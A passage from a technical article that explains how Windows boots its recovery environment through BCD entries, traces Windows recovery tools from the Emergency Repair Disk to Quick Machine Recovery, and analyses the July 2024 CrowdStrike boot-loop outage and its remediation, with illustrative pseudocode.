&lt;p&gt;There is a sentence that appears in dozens of TechNet-era guides and AI summaries: &lt;em&gt;Windows boots WinRE by running &lt;code&gt;winload.exe /recovery&lt;/code&gt;.&lt;/em&gt; That sentence is wrong. There is no &lt;code&gt;/recovery&lt;/code&gt; switch on &lt;code&gt;winload.efi&lt;/code&gt; or &lt;code&gt;winload.exe&lt;/code&gt;. The BCD Boot Options Reference enumerates every legal element on a boot entry, and &lt;code&gt;recoverysequence&lt;/code&gt; is one of them; a command-line switch with that name is not [@ms-bcd]. WinRE is selected through the BCD, not through a flag passed to the loader.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The BCD Boot Options Reference defines every element on a boot entry: &lt;code&gt;device&lt;/code&gt;, &lt;code&gt;osdevice&lt;/code&gt;, &lt;code&gt;path&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;recoverysequence&lt;/code&gt;, &lt;code&gt;winpe&lt;/code&gt;, &lt;code&gt;ramdisksdidevice&lt;/code&gt;, &lt;code&gt;ramdisksdipath&lt;/code&gt;, and a few dozen others [@ms-bcd]. None of them is exposed as a &lt;code&gt;winload.exe /recovery&lt;/code&gt; command-line flag. The recovery handoff happens entirely inside the boot manager, before &lt;code&gt;winload.efi&lt;/code&gt; ever runs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Walk the literal boot sequence on a UEFI machine [@ms-winre-tech-ref, @ms-bcd]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Firmware passes control to &lt;code&gt;bootmgfw.efi&lt;/code&gt; on the EFI System Partition. (On legacy BIOS, it would be &lt;code&gt;bootmgr&lt;/code&gt; from the active partition.)&lt;/li&gt;
&lt;li&gt;The boot manager reads the BCD store. There is one entry of type &lt;em&gt;Windows Boot Manager&lt;/em&gt; and one or more entries of type &lt;em&gt;Windows Boot Loader&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;The OS loader entry carries an element called &lt;code&gt;recoverysequence&lt;/code&gt;, set to the GUID of a &lt;em&gt;separate&lt;/em&gt; BCD entry. That separate entry is the WinRE configuration.&lt;/li&gt;
&lt;li&gt;On a normal boot, the boot manager loads the OS entry&apos;s &lt;code&gt;path&lt;/code&gt; (&lt;code&gt;\Windows\System32\winload.efi&lt;/code&gt;) against the OS volume named in &lt;code&gt;device&lt;/code&gt;/&lt;code&gt;osdevice&lt;/code&gt;, and &lt;code&gt;winload.efi&lt;/code&gt; brings up the kernel.&lt;/li&gt;
&lt;li&gt;On a recovery trigger -- two failed boots, a corrupted system file, an explicit &lt;code&gt;reagentc /boottore&lt;/code&gt;, or the user choosing &lt;em&gt;Restart&lt;/em&gt; from the Advanced Startup menu -- the boot manager instead follows &lt;code&gt;recoverysequence&lt;/code&gt; to the WinRE entry.&lt;/li&gt;
&lt;li&gt;The WinRE entry&apos;s elements look like this: &lt;code&gt;winpe Yes&lt;/code&gt;, &lt;code&gt;osdevice ramdisk=[recovery]\Recovery\WindowsRE\Winre.wim,{ramdiskoptionsguid}&lt;/code&gt;, &lt;code&gt;device ramdisk=[recovery]\Recovery\WindowsRE\Winre.wim,{ramdiskoptionsguid}&lt;/code&gt;, and &lt;code&gt;path \Windows\System32\Boot\winload.efi&lt;/code&gt;. The &lt;code&gt;ramdiskoptions&lt;/code&gt; element it points to in turn carries &lt;code&gt;ramdisksdidevice&lt;/code&gt; and &lt;code&gt;ramdisksdipath&lt;/code&gt; (&lt;code&gt;\Recovery\WindowsRE\boot.sdi&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The boot manager creates a RAM disk backed by &lt;code&gt;boot.sdi&lt;/code&gt;, mounts &lt;code&gt;winre.wim&lt;/code&gt; inside it, and starts &lt;code&gt;winload.efi&lt;/code&gt; against that ramdisk. From &lt;code&gt;winload.efi&lt;/code&gt;&apos;s point of view, the OS being booted is the one inside &lt;code&gt;winre.wim&lt;/code&gt;. The kernel comes up in the RAM disk and presents the Windows RE entry-point UI.&lt;/li&gt;
&lt;/ol&gt;

flowchart TD
    F[UEFI firmware] --&amp;gt; BM[bootmgfw.efi on ESP]
    BM --&amp;gt; BCD[Read BCD store]
    BCD --&amp;gt; CHK{Trigger fired?}
    CHK -- No --&amp;gt; OS[OS loader entry, winload.efi, Windows partition]
    CHK -- Yes --&amp;gt; RS[Follow recoverysequence GUID]
    RS --&amp;gt; WRE[WinRE BCD entry: winpe Yes, osdevice ramdisk=...winre.wim]
    WRE --&amp;gt; RD[Allocate RAM disk from boot.sdi]
    RD --&amp;gt; MNT[Mount winre.wim into RAM disk]
    MNT --&amp;gt; WL[winload.efi loads WinPE kernel]
    WL --&amp;gt; UX[WinRE entry-point UI]
&lt;p&gt;The five auto-trigger conditions are enumerated verbatim in the Windows RE Technical Reference [@ms-winre-tech-ref]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Two consecutive failed attempts to start Windows.&lt;/li&gt;
&lt;li&gt;Two consecutive unexpected shutdowns within two minutes of boot completion.&lt;/li&gt;
&lt;li&gt;Two consecutive system reboots within two minutes of boot completion.&lt;/li&gt;
&lt;li&gt;A &lt;a href=&quot;https://paragmali.com/blog/secure-boot-in-windows-the-chain-from-sector-zero-to-userini/&quot; rel=&quot;noopener&quot;&gt;Secure Boot&lt;/a&gt; error (except for issues related to &lt;code&gt;Bootmgr.efi&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;A BitLocker error on touch-only devices.&lt;/li&gt;
&lt;/ol&gt;

flowchart LR
    A[Two failed boots] --&amp;gt; ENT[Enter WinRE]
    B[Two unexpected shutdowns within 2 min of boot] --&amp;gt; ENT
    C[Two reboots within 2 min of boot] --&amp;gt; ENT
    D[Secure Boot error -- not Bootmgr.efi] --&amp;gt; ENT
    E[BitLocker error on touch-only device] --&amp;gt; ENT
&lt;p&gt;Walking the BCD elements themselves makes the absence of any &lt;code&gt;/recovery&lt;/code&gt; switch visible. Here is a minimal model of what the boot manager actually consumes.&lt;/p&gt;
&lt;p&gt;{`
// Paraphrased from the BCD Boot Options Reference. Real bcdedit output is text,
// but the boot manager reads it as a typed key/value store.&lt;/p&gt;
&lt;p&gt;const bcd = {
  bootmgr: {
    type: &apos;Windows Boot Manager&apos;,
    default: &apos;{current}&apos;,
    displayorder: [&apos;{current}&apos;],
  },
  &apos;{current}&apos;: {
    type: &apos;Windows Boot Loader&apos;,
    device: &apos;partition=C:&apos;,
    osdevice: &apos;partition=C:&apos;,
    path: &apos;\\Windows\\system32\\winload.efi&apos;,
    description: &apos;Windows 11&apos;,
    recoverysequence: &apos;{a1b2-...-winre-guid}&apos;,
    recoveryenabled: &apos;Yes&apos;,
  },
  &apos;{a1b2-...-winre-guid}&apos;: {
    type: &apos;Windows Boot Loader&apos;,
    device: &apos;ramdisk=[\\Device\\HarddiskVolume4]\\Recovery\\WindowsRE\\Winre.wim,{ramdiskopts}&apos;,
    osdevice: &apos;ramdisk=[\\Device\\HarddiskVolume4]\\Recovery\\WindowsRE\\Winre.wim,{ramdiskopts}&apos;,
    path: &apos;\\Windows\\system32\\Boot\\winload.efi&apos;,
    description: &apos;Windows Recovery Environment&apos;,
    winpe: &apos;Yes&apos;,
    nx: &apos;OptIn&apos;,
  },
  &apos;{ramdiskopts}&apos;: {
    type: &apos;Device Options&apos;,
    description: &apos;Ramdisk Options&apos;,
    ramdisksdidevice: &apos;partition=\\Device\\HarddiskVolume4&apos;,
    ramdisksdipath: &apos;\\Recovery\\WindowsRE\\boot.sdi&apos;,
  },
};&lt;/p&gt;
&lt;p&gt;// The boot manager picks one of these entries, depending on whether
// recoverysequence has been activated. No command-line flag is involved.&lt;/p&gt;
&lt;p&gt;function bootDecision(failureCount, secureBootError, bitlockerError) {
  if (failureCount &amp;gt;= 2 || secureBootError || bitlockerError) {
    const winreGuid = bcd[&apos;{current}&apos;].recoverysequence;
    return bcd[winreGuid];
  }
  return bcd[&apos;{current}&apos;];
}&lt;/p&gt;
&lt;p&gt;const chosen = bootDecision(2, false, false);
console.log(&apos;Loader path the boot manager invokes:&apos;);
console.log(&apos;  &apos; + chosen.path);
console.log(&apos;Backing device:&apos;);
console.log(&apos;  &apos; + chosen.osdevice);
console.log(&apos;winpe flag (Yes means &quot;boot a WIM into a ramdisk&quot;):&apos;);
console.log(&apos;  &apos; + (chosen.winpe || &apos;(unset, normal OS boot)&apos;));
`}&lt;/p&gt;
&lt;p&gt;That is the entire mechanism. Two failed boots flip an in-BCD counter; the boot manager follows &lt;code&gt;recoverysequence&lt;/code&gt; instead of the default loader path; the WinRE entry mounts &lt;code&gt;winre.wim&lt;/code&gt; in a RAM disk; the kernel inside &lt;code&gt;winre.wim&lt;/code&gt; comes up. No flags, no shells, no scripts.&lt;/p&gt;
&lt;p&gt;Now we know what WinRE is and how it boots. The remaining historical question is how this architecture &lt;em&gt;came to be&lt;/em&gt;, and what about it did not change between 2007 and July 19, 2024.&lt;/p&gt;
&lt;h2&gt;4. Historical Origins: From the Recovery Console to the Recovery Partition (2000-2012)&lt;/h2&gt;
&lt;p&gt;Every architectural choice in WinRE was a response to something that did not work the year before. Walk the four pre-WRI generations of Windows recovery and the story is one long relaxation of the assumption that recovery requires physical media.&lt;/p&gt;
&lt;h3&gt;Generation 1: Emergency Repair Disk (NT 3.x and 4.0, 1993-2000)&lt;/h3&gt;
&lt;p&gt;A floppy disk plus a &lt;code&gt;%SystemRoot%\repair&lt;/code&gt; directory contained snapshotted SYSTEM, SOFTWARE, SAM, and SECURITY registry hives [@wiki-recovery-console]. The administrator booted from the three Windows NT Setup floppies, pressed &lt;code&gt;R&lt;/code&gt; for Repair, fed the floppy when prompted, and Setup wrote the snapshotted hives back over the damaged on-disk copies. ERD repaired the registry, nothing more. If &lt;code&gt;NTOSKRNL.EXE&lt;/code&gt; itself was missing, the operator was reduced to a DOS floppy plus &lt;code&gt;EXPAND&lt;/code&gt; from the install CD. The architecture&apos;s failure mode was the obvious one for a floppy-based snapshot system: the floppy got lost; the snapshot was stale; the scope was too narrow.&lt;/p&gt;

The Windows NT 3.x and 4.0 recovery mechanism: a snapshot of the registry hives written to a floppy by `RDISK.EXE` plus a small `%SystemRoot%\repair` folder. Restored only the registry; required the NT Setup floppies to boot. Wikipedia&apos;s *Recovery Console* article identifies the Recovery Console as ERD&apos;s successor [@wiki-recovery-console].
&lt;h3&gt;Generation 2: Recovery Console (Windows 2000, February 17, 2000)&lt;/h3&gt;
&lt;p&gt;The Recovery Console replaced the binary &quot;restore the snapshot&quot; decision with a programmable shell. Boot from the Windows 2000 or XP install CD; choose Repair; the operator landed in a &lt;code&gt;cmd.exe&lt;/code&gt;-shaped environment with around three dozen internal commands: &lt;code&gt;copy&lt;/code&gt;, &lt;code&gt;del&lt;/code&gt;, &lt;code&gt;attrib&lt;/code&gt;, &lt;code&gt;chkdsk&lt;/code&gt;, &lt;code&gt;fixboot&lt;/code&gt;, &lt;code&gt;fixmbr&lt;/code&gt;, &lt;code&gt;bootcfg&lt;/code&gt;, and the rest [@wiki-recovery-console]. Authentication required the local Administrator password; filesystem access was sharply constrained (read-only by default; on the boot volume only the root and &lt;code&gt;%SystemRoot%&lt;/code&gt; were writable, unless Group Policy relaxed those limits).&lt;/p&gt;

The Windows 2000/XP/Server 2003 command-line repair shell. Initial release February 17, 2000; superseded by the Windows Recovery Environment in Windows Vista. Loadable from the install CD or installable as a startup option via `winnt32 /cmdcons`. Wikipedia lists Windows Recovery Environment as its named successor [@wiki-recovery-console].
&lt;p&gt;The Recovery Console did not fail technically. It failed &lt;em&gt;culturally&lt;/em&gt;. By 2005 the Windows administrator population had shifted decisively to GUI tools. A 2005 user with a corrupt &lt;code&gt;WINLOAD.EXE&lt;/code&gt; and no install CD had no path to repair the box without buying replacement media. There was no automatic-repair logic and no on-disk presence; the install CD was always required, and every fix demanded muscle memory the typical administrator no longer had.&lt;/p&gt;
&lt;h3&gt;Generation 3: WinRE on Installation Media (Windows Vista, January 2007)&lt;/h3&gt;
&lt;p&gt;Vista shipped a full GUI recovery environment built on the brand-new Windows PE 2.0 [@wiki-winpe]. &lt;code&gt;winre.wim&lt;/code&gt; carried Startup Repair (a probe-and-fix playbook for boot failures), System Restore (now backed by the Volume Shadow Copy Service), Complete PC Restore, Windows Memory Diagnostic, and a command prompt for the cases nothing else fit. Vista was also the version that introduced the Boot Configuration Data store and &lt;code&gt;bootmgr&lt;/code&gt;, replacing &lt;code&gt;NTLDR&lt;/code&gt; and the plain-text &lt;code&gt;boot.ini&lt;/code&gt; [@ms-bcd]. The same BCD that today still routes the recovery handoff was written for Vista.The Microsoft Learn &quot;Vista WinRE Overview&quot; page in the previous-versions archive (&lt;code&gt;cc766056&lt;/code&gt;) is now misdirected and renders an unrelated USMT migration topic instead of the original article. The load-bearing claim that WinRE was introduced in Vista is independently supported by the Windows PE Wikipedia article&apos;s version table (WinPE 2.0 built from Vista RTM) and by Microsoft Learn&apos;s &lt;em&gt;Push-button reset overview&lt;/em&gt;, which dates Push-Button Reset to Windows 8 and frames it as built on the existing WinRE architecture [@wiki-winpe, @ms-pbr-overview].&lt;/p&gt;
&lt;p&gt;Vista WinRE had two architectural problems that the next generation fixed. OEMs were free to put &lt;code&gt;winre.wim&lt;/code&gt; wherever they wanted on disk; there was no standard partition. And the install DVD remained the fallback for any user whose OEM had not pre-installed WinRE -- which, by 2010, was most users, none of whom still owned the DVD.&lt;/p&gt;
&lt;p&gt;System Restore is itself a sub-thread worth noting. It first shipped in Windows ME (year 2000), was re-implemented atop VSS in Vista, and remained off by default on Windows 10 and 11 [@wiki-system-restore]. The Vista move made it callable from WinRE even when the host Windows would not boot -- a property that, twenty-five years later, Point-in-Time Restore is re-engineering for the cloud.&lt;/p&gt;
&lt;h3&gt;Generation 4: Recovery Partition + ReAgentC + BCD &lt;code&gt;recoverysequence&lt;/code&gt; (Windows 7, 2009; standardised in Windows 8 and beyond)&lt;/h3&gt;
&lt;p&gt;This is the architecture every Windows 11 device still runs.&lt;/p&gt;
&lt;p&gt;Windows 7 dropped &lt;code&gt;winre.wim&lt;/code&gt; onto a dedicated recovery partition with a GPT Type ID that lets &lt;code&gt;bootmgr&lt;/code&gt; find it without depending on the Windows volume&apos;s drive letter [@ms-uefi-gpt]. &lt;code&gt;ReAgentC.exe&lt;/code&gt; became the in-box management tool [@ms-reagentc]. The BCD &lt;code&gt;recoverysequence&lt;/code&gt; element became the mechanism by which the OS loader entry points at the WinRE entry. The two-failed-boots trigger entered the Windows RE Technical Reference&apos;s enumeration of automatic conditions [@ms-winre-tech-ref].&lt;/p&gt;
&lt;p&gt;Generation 4 &lt;em&gt;did not fail&lt;/em&gt;. The five auto-trigger conditions still fire on Windows 11 24H2. ReAgentC&apos;s switches are still the supported management surface. The recovery-partition GPT Type ID is still &lt;code&gt;DE94BBA4-06D1-4D40-A16A-BFD50179D6AC&lt;/code&gt;. It is the architectural floor every later generation extends, including Quick Machine Recovery.&lt;/p&gt;
&lt;p&gt;What Generation 4 &lt;em&gt;did not solve&lt;/em&gt; was the cost of recovery at fleet scale. WinRE-on-disk handled one machine perfectly; it had nothing to say about ten thousand machines, each still bounded by the time it took to walk to a desk.&lt;/p&gt;

gantt
    dateFormat YYYY
    axisFormat %Y
    section Pre-WinRE
    Emergency Repair Disk (NT 3.x / 4.0)         :1993, 2000
    Recovery Console (Windows 2000 onwards)      :2000, 2008
    section WinRE
    WinRE on installation media (Vista)          :2007, 2009
    Recovery partition + ReAgentC (still current) :2009, 2026
    section Recovery flavours
    Push-Button Reset (Windows 8 onwards)        :2012, 2026
    Autopilot Reset (Win 10 1709)                :2017, 2026
    Quick Machine Recovery (24H2)                :2025, 2026
    Intune Remote Recovery / Cloud Rebuild        :2025, 2026
&lt;p&gt;A few parallel paths deserve naming. Push-Button Reset, introduced in Windows 8 in 2012, gave consumers an in-WinRE &quot;Refresh&quot; or &quot;Reset&quot;; image-less reset in Windows 10 and Cloud Download in Windows 10 version 2004 (May 2020) made the reset progressively less dependent on locally-staged install images [@ms-pbr-overview]. Autopilot Reset, shipped in Windows 10 1709 (October 2017), let Intune issue an MDM-initiated wipe-and-rebuild that preserved the device&apos;s Entra ID join. Microsoft Diagnostics and Recovery Toolset (DaRT) -- the descendant of Winternals ERD Commander acquired in 2006 and shipped under MDOP starting July 2007 (MDOP 2007), with subsequent releases through MDOP 2008 (April 2008) -- gave Software Assurance customers a richer enterprise tool on top of WinPE [@wiki-mdop-dart]. Older recovery mechanisms quietly aged out: Last Known Good Configuration was no longer the default boot-failure response on Windows 8 onward, and the deprecated-features lifecycle framework is the canonical place to track such retirements today [@ms-deprecated].&lt;/p&gt;
&lt;p&gt;By the early 2010s, the architecture that still runs on every Windows 11 device today was largely in place [@ms-winre-tech-ref, @ms-reagentc]. None of these tools gave WinRE permission to call Windows Update from inside the recovery environment. That gap is the next chapter.&lt;/p&gt;
&lt;h2&gt;5. The Forcing Function: July 19, 2024&lt;/h2&gt;
&lt;p&gt;We know what WinRE is. We know how it boots. We can now see the CrowdStrike incident as the architecture&apos;s stress test. The headline numbers are well-rehearsed at this point; what matters here is the technical cause, the kernel-resident dependency it expressed, and the procedure Microsoft published.&lt;/p&gt;
&lt;h3&gt;The fault&lt;/h3&gt;
&lt;p&gt;CrowdStrike&apos;s Falcon sensor for Windows version 7.11, released in February 2024, introduced a new IPC Template Type used by behavioural detection logic [@crowdstrike-rca-pdf]. The Template Type &lt;em&gt;declared&lt;/em&gt; twenty-one input parameter fields. The integration code that invoked the in-driver Content Interpreter to evaluate Template Instances against host activity &lt;em&gt;supplied only twenty inputs&lt;/em&gt; [@crowdstrike-rca-pdf]. For more than four months, Channel File 291 contained no Template Instance whose criterion read the twenty-first field. That made the mismatch latent.&lt;/p&gt;
&lt;p&gt;At 04:09 UTC on July 19, 2024, CrowdStrike pushed a new Channel File 291 containing a Template Instance that referenced the twenty-first field with a non-wildcard matching criterion [@crowdstrike-rca-pdf, @crowdstrike-tech-details]. The Content Interpreter loaded the instance, looked up the twenty-first input pointer in its input-pointer array, and read past the end of that array. Sensors running 7.11 or later that received the update between 04:09 and 05:27 UTC tripped the latent out-of-bounds read [@crowdstrike-tech-details].&lt;/p&gt;
&lt;h3&gt;The crash&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s Windows Error Reporting analysis, published in the security blog on July 27, 2024, recorded the global crash signature as &lt;code&gt;nt!KeBugCheckEx&lt;/code&gt; followed by &lt;code&gt;nt!KiPageFault&lt;/code&gt; and then &lt;code&gt;csagent+0xe14ed&lt;/code&gt;, with &lt;code&gt;r8=ffff840500000074&lt;/code&gt; as the invalid pointer that the read tried to dereference [@ms-security-jul27]. Microsoft confirmed that the analysis matched CrowdStrike&apos;s own conclusion: a read-out-of-bounds memory safety error in the &lt;code&gt;csagent.sys&lt;/code&gt; driver.&lt;/p&gt;

flowchart TD
    A[Falcon 7.11 ships in Feb 2024 with IPC Template Type declaring 21 fields] --&amp;gt; B[Integration code supplies only 20 inputs]
    B --&amp;gt; C[Latent OOB potential -- no instance references field 21]
    C --&amp;gt; D[July 19 04:09 UTC: new Channel File 291 adds non-wildcard 21st-field criterion]
    D --&amp;gt; E[Content Interpreter reads input-pointer index 20]
    E --&amp;gt; F[Page fault at csagent+0xe14ed]
    F --&amp;gt; G[nt!KiPageFault -&amp;gt; nt!KeBugCheckEx]
    G --&amp;gt; H[Bug check; system reboots]
    H --&amp;gt; I[csagent.sys reloads -- registered SERVICE_SYSTEM_START Start=1 -- bug check again]
    I --&amp;gt; J[Boot loop on 8.5 million endpoints]
&lt;h3&gt;The kernel-resident dependency&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;csagent.sys&lt;/code&gt; loaded early in boot. Microsoft&apos;s WER post-mortem shows the driver registered with &lt;code&gt;REG_DWORD Start 1&lt;/code&gt; -- the &lt;code&gt;SERVICE_SYSTEM_START&lt;/code&gt; class, loaded by the kernel before user-mode comes up [@ms-security-jul27]. That placement is the entire point of a kernel-mode security agent: it has to instrument the kernel boundary at the moment user-mode would otherwise be invisible to it. The cost of that placement is that when an early-boot driver page-faults, the bug check happens &lt;em&gt;before&lt;/em&gt; the operating system is interactive. The remediation -- &lt;em&gt;delete &lt;code&gt;C-00000291*.sys&lt;/code&gt;&lt;/em&gt; -- could not be issued from a running Windows, because there was no running Windows.&lt;/p&gt;

The fault dynamic above is easier to describe than it is to file. CrowdStrike&apos;s own technical-details post is explicit about the file-type distinction: &quot;Although Channel Files end with the SYS extension, they are not kernel drivers&quot; [@crowdstrike-tech-details]. The kernel-mode component is `csagent.sys`. The Channel Files in `C:\Windows\System32\drivers\CrowdStrike\` are *data* that the Content Interpreter inside `csagent.sys` reads. The fault was a bug in `csagent.sys`&apos;s interpretation of a particular Channel File; both ends matter, and the file extension on the data file is incidental.
&lt;h3&gt;The recovery procedure&lt;/h3&gt;
&lt;p&gt;Microsoft published KB5042421 within hours [@ms-kb5042421]. The text reduced to three steps: boot to Safe Mode (which on Windows 11 means letting WinRE select Safe Mode from the &lt;em&gt;Advanced startup options&lt;/em&gt; tree); delete &lt;code&gt;C:\Windows\System32\drivers\CrowdStrike\C-00000291*.sys&lt;/code&gt;; reboot. For BitLocker-encrypted volumes the procedure had a fourth, preliminary step: surface the recovery key. KB5042421 walks the user through the Entra ID self-service flow at &lt;code&gt;aka.ms/aadrecoverykey&lt;/code&gt;: log on from a phone, choose Manage Devices, View BitLocker Keys, Show recovery key [@ms-kb5042421].&lt;/p&gt;
&lt;p&gt;The instruction was correct. It was also unambiguously per-machine.&lt;/p&gt;

We currently estimate that CrowdStrike&apos;s update affected 8.5 million Windows devices, or less than one percent of all Windows machines. -- Microsoft, *Helping our customers through the CrowdStrike outage*, July 20, 2024 [@ms-crowdstrike-jul20].
&lt;h3&gt;The bottleneck&lt;/h3&gt;
&lt;p&gt;Each device&apos;s recovery was a function of &lt;em&gt;time-to-physical-access&lt;/em&gt;, plus &lt;em&gt;time-to-BitLocker-key&lt;/em&gt;, plus &lt;em&gt;time-to-keyboard&lt;/em&gt;. None of those terms scaled. A laptop on a desk that the owner happened to be near recovered in five minutes. A laptop on a desk where the owner was on holiday recovered when someone arrived to swipe their badge. A server in a remote data centre recovered when a hand reached the iLO or KVM. A point-of-sale device in a checked-bag-only baggage hall recovered when someone wheeled a USB keyboard out to it. Multiply by 8.5 million.&lt;/p&gt;
&lt;p&gt;The architecture that delivered Safe Mode to every one of those devices did exactly what its 2009 specification said it would do. The architecture that delivered Safe Mode to every one of those devices left enterprises stranded for days. Both sentences are true. The contradiction is the whole point.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; WinRE booted correctly. The Safe Mode tile rendered. The two-failed-boots trigger fired. The recovery partition was where it should be. The BCD &lt;code&gt;recoverysequence&lt;/code&gt; led to the right &lt;code&gt;winre.wim&lt;/code&gt;. The keyboard handler took keystrokes. Every line of code did what it was specified to do. The single unwritten line of the specification -- &lt;em&gt;one operator, please&lt;/em&gt; -- was the line that did not scale.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The instruction was correct, the procedure was published within hours, and the floor was on fire for days. The next question -- the one Microsoft was already being asked at WESES, the closed-door September 10, 2024 endpoint-security partner summit [@ms-weses] -- was whether the floor could not be on fire next time.&lt;/p&gt;
&lt;h2&gt;6. The Breakthrough: Quick Machine Recovery&lt;/h2&gt;
&lt;p&gt;Quick Machine Recovery, announced at Microsoft Ignite on November 19, 2024 [@ms-wri-ignite-2024] and generally available on Windows 11 24H2 build 26100.4700+ in August 2025 per the November 18, 2025 update [@ms-wri-ignite-2025], did not add any new &lt;em&gt;technology&lt;/em&gt; to WinRE that had not been in WinPE since 2002. Networking drivers, DHCP clients, HTTPS stacks: all of these were already in &lt;code&gt;winre.wim&lt;/code&gt;&apos;s base image, inherited from the WinPE Optional Components that have shipped with the OS for two decades [@ms-winpe-intro]. What QMR added was an &lt;em&gt;answer to a question WinRE had never been asked&lt;/em&gt;: when you are inside the recovery environment with no operator at the keyboard, who do you call?&lt;/p&gt;

The Windows 11 24H2 feature, available on build 26100.4700 or later, that lets WinRE establish network connectivity from inside the recovery environment, query Windows Update for a remediation matching the current failure signature, download and apply that remediation, and reboot -- all without requiring an operator at the keyboard [@ms-qmr]. Announced at Microsoft Ignite on November 19, 2024 [@ms-wri-ignite-2024]; first shipped in Windows 11 Insider Preview build 26120.3653 on March 28, 2025 [@ms-qmr-insider-mar2025]; generally available in August 2025 [@ms-wri-ignite-2025].
&lt;h3&gt;The five-phase loop&lt;/h3&gt;
&lt;p&gt;Microsoft Learn documents QMR as five phases [@ms-qmr]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Crash detection.&lt;/strong&gt; The same two-failed-boots trigger already in the Windows RE Technical Reference [@ms-winre-tech-ref] fires the recovery path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Boot to recovery.&lt;/strong&gt; The existing BCD &lt;code&gt;recoverysequence&lt;/code&gt; mechanism from Section 3 routes the system into WinRE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network connection.&lt;/strong&gt; WinRE establishes wired Ethernet, or WPA/WPA2 password-based Wi-Fi using a credential pre-staged via &lt;code&gt;reagentc.exe /SetRecoverySettings&lt;/code&gt;. As of the Microsoft Learn page&apos;s current wording, &lt;em&gt;only&lt;/em&gt; wired and WPA/WPA2 password-based wireless are supported [@ms-qmr]; enterprise certificates and WPA3-Enterprise are on the November 18, 2025 roadmap but not yet shipped [@ms-wri-ignite-2025].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remediation.&lt;/strong&gt; The recovery environment scans Windows Update for a published remediation matching the device&apos;s failure signature, downloads it, and applies it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reboot.&lt;/strong&gt; On success, the device boots normally. On no-match, the device can either present the manual recovery menu (the &lt;em&gt;one-time scan&lt;/em&gt; mode, the default for unmanaged systems) or loop with a configurable interval (the &lt;em&gt;looped&lt;/em&gt; mode) until either a remediation arrives or the operator-set total wait time expires [@ms-qmr].&lt;/li&gt;
&lt;/ol&gt;

sequenceDiagram
    participant D as Device (OS)
    participant W as WinRE
    participant N as Network
    participant WU as Windows Update
    participant O as OS partition
    D-&amp;gt;&amp;gt;W: Two failed boots -&amp;gt; follow recoverysequence
    W-&amp;gt;&amp;gt;N: Acquire Ethernet or WPA2 Wi-Fi
    W-&amp;gt;&amp;gt;WU: Query for remediation matching failure signature
    WU--&amp;gt;&amp;gt;W: Remediation package (or &quot;none found&quot;)
    alt Remediation available
        W-&amp;gt;&amp;gt;O: Apply remediation to OS partition
        W-&amp;gt;&amp;gt;D: Reboot
        D--&amp;gt;&amp;gt;D: Normal boot succeeds
    else None found, one-time mode
        W-&amp;gt;&amp;gt;D: Present manual recovery menu
    else None found, looped mode
        W--&amp;gt;&amp;gt;W: Sleep wait_interval, retry until total_wait_time
    end
&lt;h3&gt;The default-on/off matrix&lt;/h3&gt;
&lt;p&gt;The Microsoft Learn QMR page is explicit on defaults [@ms-qmr]. Cloud remediation is enabled by default, with one-time scan auto-remediation, on systems that are not under enterprise management -- Windows Home and unmanaged Pro. It is disabled by default on enterprise-managed systems -- Windows Enterprise, Education, and managed Pro. The rationale follows from how those populations think: enterprise administrators want to gate cloud remediation behind their own deployment-ring process, and consumers benefit from the default-on behaviour because they do not have a ring process at all. The same Microsoft Learn page documents an Intune Settings Catalog policy under &lt;em&gt;Remote Remediation &amp;gt; Enable Cloud Remediation&lt;/em&gt; for administrators who want to switch the policy on at the tenant level [@ms-qmr].&lt;/p&gt;
&lt;h3&gt;The test-mode flow&lt;/h3&gt;
&lt;p&gt;QMR ships with a dry-run mechanism. &lt;code&gt;reagentc.exe /SetRecoveryTestmode&lt;/code&gt; configures the WinRE entry for a simulated recovery cycle; &lt;code&gt;reagentc.exe /BootToRe&lt;/code&gt; triggers the cycle on the next reboot; the simulated remediation appears in Settings &amp;gt; Windows Update &amp;gt; Update history rather than mutating the production OS [@ms-qmr]. Microsoft suggests using the test mode to validate the per-device QMR configuration before relying on it in production.&lt;/p&gt;
&lt;h3&gt;The pseudocode&lt;/h3&gt;
&lt;p&gt;The five phases collapse into a short loop. The version below is paraphrased from the Microsoft Learn QMR page [@ms-qmr] and shows how the two settings interact.&lt;/p&gt;
&lt;p&gt;{`
// Paraphrased from the Microsoft Learn QMR specification.&lt;/p&gt;
&lt;p&gt;const config = {
  cloud_remediation_enabled: true,    // default on Home/unmanaged Pro
  auto_remediation_mode: &apos;looped&apos;,    // &apos;one_time&apos; | &apos;looped&apos;
  total_wait_time_minutes: 60,
  wait_interval_minutes: 10,
  wifi: { ssid: &apos;corp-recovery&apos;, psk: &apos;***&apos;, encryption: &apos;WPA2&apos; },
};&lt;/p&gt;
&lt;p&gt;function detectFailureSignature() {
  return { driver: &apos;csagent.sys&apos;, offset: &apos;0xe14ed&apos;, signature: &apos;oob-read&apos; };
}&lt;/p&gt;
&lt;p&gt;function scanWindowsUpdate(signature) {
  if (signature.driver === &apos;csagent.sys&apos; &amp;amp;&amp;amp; signature.signature === &apos;oob-read&apos;) {
    return { id: &apos;qmr-csagent-291&apos;, action: &apos;delete&apos;, path:
      &apos;C\\Windows\\System32\\drivers\\CrowdStrike\\C-00000291*.sys&apos; };
  }
  return null;
}&lt;/p&gt;
&lt;p&gt;function qmrEnterRecovery() {
  console.log(&apos;Phase 1: crash detected (two failed boots)&apos;);
  console.log(&apos;Phase 2: booted into WinRE via BCD recoverysequence&apos;);&lt;/p&gt;
&lt;p&gt;  if (!config.cloud_remediation_enabled) {
    console.log(&apos;Cloud remediation disabled; falling back to Startup Repair&apos;);
    return;
  }&lt;/p&gt;
